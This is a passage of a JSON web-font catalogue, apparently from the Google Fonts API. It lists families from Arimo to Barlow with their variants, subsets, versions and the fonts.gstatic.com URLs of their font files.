00","600","700","italic","500italic","600italic","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","hebrew","latin","latin-ext","vietnamese"],"version":"v16","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/arimo/v16/P5sfzZCDf9_T_3cV7NCUECyoxNk37cxsBxDAVQI4aA.ttf","500":"http://fonts.gstatic.com/s/arimo/v16/P5sfzZCDf9_T_3cV7NCUECyoxNk338xsBxDAVQI4aA.ttf","600":"http://fonts.gstatic.com/s/arimo/v16/P5sfzZCDf9_T_3cV7NCUECyoxNk3M8tsBxDAVQI4aA.ttf","700":"http://fonts.gstatic.com/s/arimo/v16/P5sfzZCDf9_T_3cV7NCUECyoxNk3CstsBxDAVQI4aA.ttf","italic":"http://fonts.gstatic.com/s/arimo/v16/P5sdzZCDf9_T_10c3i9MeUcyat4iJY-ERBrEdwcoaKww.ttf","500italic":"http://fonts.gstatic.com/s/arimo/v16/P5sdzZCDf9_T_10c3i9MeUcyat4iJY-2RBrEdwcoaKww.ttf","600italic":"http://fonts.gstatic.com/s/arimo/v16/P5sdzZCDf9_T_10c3i9MeUcyat4iJY9aQxrEdwcoaKww.ttf","700italic":"http://fonts.gstatic.com/s/arimo/v16/P5sdzZCDf9_T_10c3i9MeUcyat4iJY9jQxrEdwcoaKww.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Arizonia","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/arizonia/v11/neIIzCemt4A5qa7mv6WGHK06UY30.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Armata","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/armata/v12/gokvH63_HV5jQ-E9lD53Q2u_mQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Arsenal","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/arsenal/v5/wXKrE3kQtZQ4pF3D11_WAewrhXY.ttf","italic":"http://fonts.gstatic.com/s/arsenal/v5/wXKpE3kQtZQ4pF3D513cBc4ulXYrtA.ttf","700":"http://fonts.gstatic.com/s/arsenal/v5/wXKuE3kQtZQ4pF3D7-P5JeQAmX8yrdk.ttf","700italic":"http://fonts.gstatic.com/s/arsenal/v5/wXKsE3kQtZQ4pF3D513kueEKnV03vdnKjw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Artifika","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/artifika/v11/VEMyRoxzronptCuxu6Wt5jDtreOL.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Arvo","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v14","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/arvo/v14/tDbD2oWUg0MKmSAa7Lzr7vs.ttf","italic":"http://fonts.gstatic.com/s/arvo/v14/tDbN2oWUg0MKqSIQ6J7u_vvijQ.ttf","700":"http://fonts.gstatic.com/s/arvo/v14/tDbM2oWUg0MKoZw1yLTA8vL7lAE.ttf","700italic":"http://fonts.gstatic.com/s/arvo/v14/tDbO2oWUg0MKqSIoVLHK9tD-hAHkGg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Arya","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/arya/v6/ga6CawNG-HJd9Ub1-beqdFE.ttf","700":"http://fonts.gstatic.com/s/arya/v6/ga6NawNG-HJdzfra3b-BaFg3dRE.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Asap","variants":["regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/asap/v13/KFOoCniXp96a-zwU4UROGzY.ttf","italic":"http://fonts.gstatic.com/s/asap/v13/KFOmCniXp96ayz4e5WZLCzYlKw.ttf","500":"http://fonts.gstatic.com/s/asap/v13/KFOnCniXp96aw8g9xUxlBz88MsA.ttf","500italic":"http://fonts.gstatic.com/s/asap/v13/KFOlCniXp96ayz4mEU9vAx05IsDqlA.ttf","600":"http://fonts.gstatic.com/s/asap/v13/KFOnCniXp96aw-Q6xUxlBz88MsA.ttf","600italic":"http://fonts.gstatic.com/s/asap/v13/KFOlCniXp96ayz4mPUhvAx05IsDqlA.ttf","700":"http://fonts.gstatic.com/s/asap/v13/KFOnCniXp96aw4A7xUxlBz88MsA.ttf","700italic":"http://fonts.gstatic.com/s/asap/v13/KFOlCniXp96ayz4mWUlvAx05IsDqlA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Asap Condensed","variants":["regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v7","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/asapcondensed/v7/pxidypY1o9NHyXh3WvSbGSggdNeLYk1Mq3ap.ttf","italic":"http://fonts.gstatic.com/s/asapcondensed/v7/pxifypY1o9NHyXh3WvSbGSggdOeJaElurmapvvM.ttf","500":"http://fonts.gstatic.com/s/asapcondensed/v7/pxieypY1o9NHyXh3WvSbGSggdO9_S2lEgGqgp-pO.ttf","500italic":"http://fonts.gstatic.com/s/asapcondensed/v7/pxiYypY1o9NHyXh3WvSbGSggdOeJUL1Him6CovpOkXA.ttf","600":"http://fonts.gstatic.com/s/asapcondensed/v7/pxieypY1o9NHyXh3WvSbGSggdO9TTGlEgGqgp-pO.ttf","600italic":"http://fonts.gstatic.com/s/asapcondensed/v7/pxiYypY1o9NHyXh3WvSbGSggdOeJUJFAim6CovpOkXA.ttf","700":"http://fonts.gstatic.com/s/asapcondensed/v7/pxieypY1o9NHyXh3WvSbGSggdO83TWlEgGqgp-pO.ttf","700italic":"http://fonts.gstatic.com/s/asapcondensed/v7/pxiYypY1o9NHyXh3WvSbGSggdOeJUPVBim6CovpOkXA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Asar","variants":["regular"],"subsets":["devanagari","latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/asar/v8/sZlLdRyI6TBIXkYQDLlTW6E.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Asset","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-15","files":{"regular":"http://fonts.gstatic.com/s/asset/v10/SLXGc1na-mM4cWImRJqExst1.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Assistant","variants":["200","300","regular","500","600","700","800"],"subsets":["hebrew","latin","latin-ext"],"version":"v6","lastModified":"2020-10-22","files":{"200":"http://fonts.gstatic.com/s/assistant/v6/2sDPZGJYnIjSi6H75xkZZE1I0yCmYzzQtmZnEGGf3qGuvM4.ttf","300":"http://fonts.gstatic.com/s/assistant/v6/2sDPZGJYnIjSi6H75xkZZE1I0yCmYzzQtrhnEGGf3qGuvM4.ttf","regular":"http://fonts.gstatic.com/s/assistant/v6/2sDPZGJYnIjSi6H75xkZZE1I0yCmYzzQtuZnEGGf3qGuvM4.ttf","500":"http://fonts.gstatic.com/s/assistant/v6/2sDPZGJYnIjSi6H75xkZZE1I0yCmYzzQttRnEGGf3qGuvM4.ttf","600":"http://fonts.gstatic.com/s/assistant/v6/2sDPZGJYnIjSi6H75xkZZE1I0yCmYzzQtjhgEGGf3qGuvM4.ttf","700":"http://fonts.gstatic.com/s/assistant/v6/2sDPZGJYnIjSi6H75xkZZE1I0yCmYzzQtgFgEGGf3qGuvM4.ttf","800":"http://fonts.gstatic.com/s/assistant/v6/2sDPZGJYnIjSi6H75xkZZE1I0yCmYzzQtmZgEGGf3qGuvM4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Astloch","variants":["regular","700"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/astloch/v12/TuGRUVJ8QI5GSeUjq9wRzMtkH1Q.ttf","700":"http://fonts.gstatic.com/s/astloch/v12/TuGUUVJ8QI5GSeUjk2A-6MNPA10xLMQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Asul","variants":["regular","700"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/asul/v10/VuJ-dNjKxYr46fMFXK78JIg.ttf","700":"http://fonts.gstatic.com/s/asul/v10/VuJxdNjKxYr40U8qeKbXOIFneRo.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Athiti","variants":["200","300","regular","500","600","700"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/athiti/v5/pe0sMISdLIZIv1wAxDNyAv2-C99ycg.ttf","300":"http://fonts.gstatic.com/s/athiti/v5/pe0sMISdLIZIv1wAoDByAv2-C99ycg.ttf","regular":"http://fonts.gstatic.com/s/athiti/v5/pe0vMISdLIZIv1w4DBhWCtaiAg.ttf","500":"http://fonts.gstatic.com/s/athiti/v5/pe0sMISdLIZIv1wA-DFyAv2-C99ycg.ttf","600":"http://fonts.gstatic.com/s/athiti/v5/pe0sMISdLIZIv1wA1DZyAv2-C99ycg.ttf","700":"http://fonts.gstatic.com/s/athiti/v5/pe0sMISdLIZIv1wAsDdyAv2-C99ycg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Atma","variants":["300","regular","500","600","700"],"subsets":["bengali","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/atma/v6/uK_z4rqWc-Eoo8JzKjc9PvedRkM.ttf","regular":"http://fonts.gstatic.com/s/atma/v6/uK_84rqWc-Eom25bDj8WIv4.ttf","500":"http://fonts.gstatic.com/s/atma/v6/uK_z4rqWc-Eoo5pyKjc9PvedRkM.ttf","600":"http://fonts.gstatic.com/s/atma/v6/uK_z4rqWc-Eoo7Z1Kjc9PvedRkM.ttf","700":"http://fonts.gstatic.com/s/atma/v6/uK_z4rqWc-Eoo9J0Kjc9PvedRkM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Atomic Age","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/atomicage/v13/f0Xz0eug6sdmRFkYZZGL58Ht9a8GYeA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Aubrey","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/aubrey/v13/q5uGsou7NPBw-p7vugNsCxVEgA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Audiowide","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/audiowide/v9/l7gdbjpo0cum0ckerWCtkQXPExpQBw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Autour One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/autourone/v10/UqyVK80cP25l3fJgbdfbk5lWVscxdKE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Average","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/average/v9/fC1hPYBHe23MxA7rIeJwVWytTyk.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Average Sans","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/averagesans/v9/1Ptpg8fLXP2dlAXR-HlJJNJPBdqazVoK4A.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Averia Gruesa Libre","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/averiagruesalibre/v9/NGSov4nEGEktOaDRKsY-1dhh8eEtIx3ZUmmJw0SLRA8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Averia Libre","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/averialibre/v9/2V0FKIcMGZEnV6xygz7eNjEarovtb07t-pQgTw.ttf","300italic":"http://fonts.gstatic.com/s/averialibre/v9/2V0HKIcMGZEnV6xygz7eNjESAJFhbUTp2JEwT4Sk.ttf","regular":"http://fonts.gstatic.com/s/averialibre/v9/2V0aKIcMGZEnV6xygz7eNjEiAqPJZ2Xx8w.ttf","italic":"http://fonts.gstatic.com/s/averialibre/v9/2V0EKIcMGZEnV6xygz7eNjESAKnNRWDh8405.ttf","700":"http://fonts.gstatic.com/s/averialibre/v9/2V0FKIcMGZEnV6xygz7eNjEavoztb07t-pQgTw.ttf","700italic":"http://fonts.gstatic.com/s/averialibre/v9/2V0HKIcMGZEnV6xygz7eNjESAJFxakTp2JEwT4Sk.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Averia Sans Libre","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/averiasanslibre/v9/ga6SaxZG_G5OvCf_rt7FH3B6BHLMEd3lMKcQJZP1LmD9.ttf","300italic":"http://fonts.gstatic.com/s/averiasanslibre/v9/ga6caxZG_G5OvCf_rt7FH3B6BHLMEdVLKisSL5fXK3D9qtg.ttf","regular":"http://fonts.gstatic.com/s/averiasanslibre/v9/ga6XaxZG_G5OvCf_rt7FH3B6BHLMEeVJGIMYDo_8.ttf","italic":"http://fonts.gstatic.com/s/averiasanslibre/v9/ga6RaxZG_G5OvCf_rt7FH3B6BHLMEdVLEoc6C5_8N3k.ttf","700":"http://fonts.gstatic.com/s/averiasanslibre/v9/ga6SaxZG_G5OvCf_rt7FH3B6BHLMEd31N6cQJZP1LmD9.ttf","700italic":"http://fonts.gstatic.com/s/averiasanslibre/v9/ga6caxZG_G5OvCf_rt7FH3B6BHLMEdVLKjsVL5fXK3D9qtg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Averia Serif Libre","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/averiaseriflibre/v10/neIVzD2ms4wxr6GvjeD0X88SHPyX2xYGCSmqwacqdrKvbQ.ttf","300italic":"http://fonts.gstatic.com/s/averiaseriflibre/v10/neIbzD2ms4wxr6GvjeD0X88SHPyX2xYOpzMmw60uVLe_bXHq.ttf","regular":"http://fonts.gstatic.com/s/averiaseriflibre/v10/neIWzD2ms4wxr6GvjeD0X88SHPyX2xY-pQGOyYw2fw.ttf","italic":"http://fonts.gstatic.com/s/averiaseriflibre/v10/neIUzD2ms4wxr6GvjeD0X88SHPyX2xYOpwuK64kmf6u2.ttf","700":"http://fonts.gstatic.com/s/averiaseriflibre/v10/neIVzD2ms4wxr6GvjeD0X88SHPyX2xYGGS6qwacqdrKvbQ.ttf","700italic":"http://fonts.gstatic.com/s/averiaseriflibre/v10/neIbzD2ms4wxr6GvjeD0X88SHPyX2xYOpzM2xK0uVLe_bXHq.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"B612","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/b612/v5/3JnySDDxiSz32jm4GDigUXw.ttf","italic":"http://fonts.gstatic.com/s/b612/v5/3Jn8SDDxiSz36juyHBqlQXwdVw.ttf","700":"http://fonts.gstatic.com/s/b612/v5/3Jn9SDDxiSz34oWXPDCLTXUETuE.ttf","700italic":"http://fonts.gstatic.com/s/b612/v5/3Jn_SDDxiSz36juKoDWBSVcBXuFb0Q.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"B612 Mono","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/b612mono/v5/kmK_Zq85QVWbN1eW6lJl1wTcquRTtg.ttf","italic":"http://fonts.gstatic.com/s/b612mono/v5/kmK5Zq85QVWbN1eW6lJV1Q7YiOFDtqtf.ttf","700":"http://fonts.gstatic.com/s/b612mono/v5/kmK6Zq85QVWbN1eW6lJdayv4os9Pv7JGSg.ttf","700italic":"http://fonts.gstatic.com/s/b612mono/v5/kmKkZq85QVWbN1eW6lJV1TZkp8VLnbdWSg4x.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Bad Script","variants":["regular"],"subsets":["cyrillic","latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/badscript/v9/6NUT8F6PJgbFWQn47_x7lOwuzd1AZtw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Bahiana","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bahiana/v5/uU9PCBUV4YenPWJU7xPb3vyHmlI.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bahianita","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v3","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bahianita/v3/yYLr0hTb3vuqqsBUgxWtxTvV2NJPcA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bai Jamjuree","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIqapSCOBt_aeQQ7ftydoa0kePuk5A1-yiSgA.ttf","200italic":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIoapSCOBt_aeQQ7ftydoa8W_oGkpox2S2CgOva.ttf","300":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIqapSCOBt_aeQQ7ftydoa09eDuk5A1-yiSgA.ttf","300italic":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIoapSCOBt_aeQQ7ftydoa8W_pikZox2S2CgOva.ttf","regular":"http://fonts.gstatic.com/s/baijamjuree/v4/LDI1apSCOBt_aeQQ7ftydoaMWcjKm7sp8g.ttf","italic":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIrapSCOBt_aeQQ7ftydoa8W8LOub458jGL.ttf","500":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIqapSCOBt_aeQQ7ftydoa0reHuk5A1-yiSgA.ttf","500italic":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIoapSCOBt_aeQQ7ftydoa8W_o6kJox2S2CgOva.ttf","600":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIqapSCOBt_aeQQ7ftydoa0gebuk5A1-yiSgA.ttf","600italic":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIoapSCOBt_aeQQ7ftydoa8W_oWl5ox2S2CgOva.ttf","700":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIqapSCOBt_aeQQ7ftydoa05efuk5A1-yiSgA.ttf","700italic":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIoapSCOBt_aeQQ7ftydoa8W_pylpox2S2CgOva.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Baloo 2","variants":["regular","500","600","700","800"],"subsets":["devanagari","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/baloo2/v1/wXKrE3kTposypRyd11_WAewrhXY.ttf","500":"http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd76v_JeQAmX8yrdk.ttf","600":"http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd74f4JeQAmX8yrdk.ttf","700":"http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd7-P5JeQAmX8yrdk.ttf","800":"http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd7__6JeQAmX8yrdk.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Bhai 2","variants":["regular","500","600","700","800"],"subsets":["gujarati","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/baloobhai2/v1/sZlDdRSL-z1VEWZ4YNA7Y5I3cdTmiH1gFQ.ttf","500":"http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPhf3CgFZ8HNV3Nw.ttf","600":"http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPqfrCgFZ8HNV3Nw.ttf","700":"http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPzfvCgFZ8HNV3Nw.ttf","800":"http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IP0fjCgFZ8HNV3Nw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Bhaina 2","variants":["regular","500","600","700","800"],"subsets":["latin","latin-ext","oriya","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/baloobhaina2/v1/qWczB6yyq4P9Adr3RtoX1q6yShz7mDUoupoI.ttf","500":"http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiQPsREgkYYBX_3F.ttf","600":"http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiQjthEgkYYBX_3F.ttf","700":"http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiRHtxEgkYYBX_3F.ttf","800":"http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiRbtBEgkYYBX_3F.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Chettan 2","variants":["regular","500","600","700","800"],"subsets":["latin","latin-ext","malayalam","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/baloochettan2/v1/vm8udRbmXEva26PK-NtuX4ynWEzf4P17OpYDlg.ttf","500":"http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznFNRfMr0fn5bhCA.ttf","600":"http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznONNfMr0fn5bhCA.ttf","700":"http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznXNJfMr0fn5bhCA.ttf","800":"http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznQNFfMr0fn5bhCA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Da 2","variants":["regular","500","600","700","800"],"subsets":["bengali","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/balooda2/v1/2-ci9J9j0IaUMQZwAJyJcu7XoZFDf2Q.ttf","500":"http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJShr-hZloY23zejE.ttf","600":"http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSjb5hZloY23zejE.ttf","700":"http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSlL4hZloY23zejE.ttf","800":"http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSk77hZloY23zejE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Paaji 2","variants":["regular","500","600","700","800"],"subsets":["gurmukhi","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/baloopaaji2/v1/i7dMIFFzbz-QHZUdV9_UGWZuYFKQHwyVd3U.ttf","500":"http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWKa5OwS-a3yGe9E.ttf","600":"http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWIq-OwS-a3yGe9E.ttf","700":"http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWO6_OwS-a3yGe9E.ttf","800":"http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWPK8OwS-a3yGe9E.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Tamma 2","variants":["regular","500","600","700","800"],"subsets":["kannada","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/balootamma2/v1/vEFX2_hCAgcR46PaajtrYlBbT0g21tqeR7c.ttf","500":"http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd7wf8tK1W77HtMo.ttf","600":"http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd5AY8tK1W77HtMo.ttf","700":"http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd_QZ8tK1W77HtMo.ttf","800":"http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd-ga8tK1W77HtMo.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Tammudu 2","variants":["regular","500","600","700","800"],"subsets":["latin","latin-ext","telugu","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/balootammudu2/v1/1Pt2g8TIS_SAmkLguUdFP8UaJcK-xXEW6aGXHw.ttf","500":"http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGMVgy4YqLFrUnJA.ttf","600":"http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGHV8y4YqLFrUnJA.ttf","700":"http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGeV4y4YqLFrUnJA.ttf","800":"http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGZV0y4YqLFrUnJA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Thambi 2","variants":["regular","500","600","700","800"],"subsets":["latin","latin-ext","tamil","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/baloothambi2/v1/cY9cfjeOW0NHpmOQXranrbDyu4hHBJOxZQPp.ttf","500":"http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7CzLbe5Th_gRA7L.ttf","600":"http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7CfKre5Th_gRA7L.ttf","700":"http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7D7K7e5Th_gRA7L.ttf","800":"http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7DnKLe5Th_gRA7L.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Balsamiq Sans","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v2","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/balsamiqsans/v2/P5sEzZiAbNrN8SB3lQQX7Pnc8dkdIYdNHzs.ttf","italic":"http://fonts.gstatic.com/s/balsamiqsans/v2/P5sazZiAbNrN8SB3lQQX7PncwdsXJaVIDzvcXA.ttf","700":"http://fonts.gstatic.com/s/balsamiqsans/v2/P5sZzZiAbNrN8SB3lQQX7PncyWUyBY9mAzLFRQI.ttf","700italic":"http://fonts.gstatic.com/s/balsamiqsans/v2/P5sfzZiAbNrN8SB3lQQX7PncwdsvmYpsBxDAVQI4aA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Balthazar","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/balthazar/v10/d6lKkaajS8Gm4CVQjFEvyRTo39l8hw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Bangers","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/bangers/v13/FeVQS0BTqb0h60ACL5la2bxii28.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Barlow","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-09-10","files":{"100":"http://fonts.gstatic.com/s/barlow/v5/7cHrv4kjgoGqM7E3b8s8yn4hnCci.ttf","100italic":"http://fonts.gstatic.com/s/barlow/v5/7cHtv4kjgoGqM7E_CfNYwHoDmTcibrA.ttf","200":"http://fonts.gstatic.com/s/barlow/v5/7cHqv4kjgoGqM7E3w-oc4FAtlT47dw.ttf","200italic":"http://fonts.gstatic.com/s/barlow/v5/7cHsv4kjgoGqM7E_C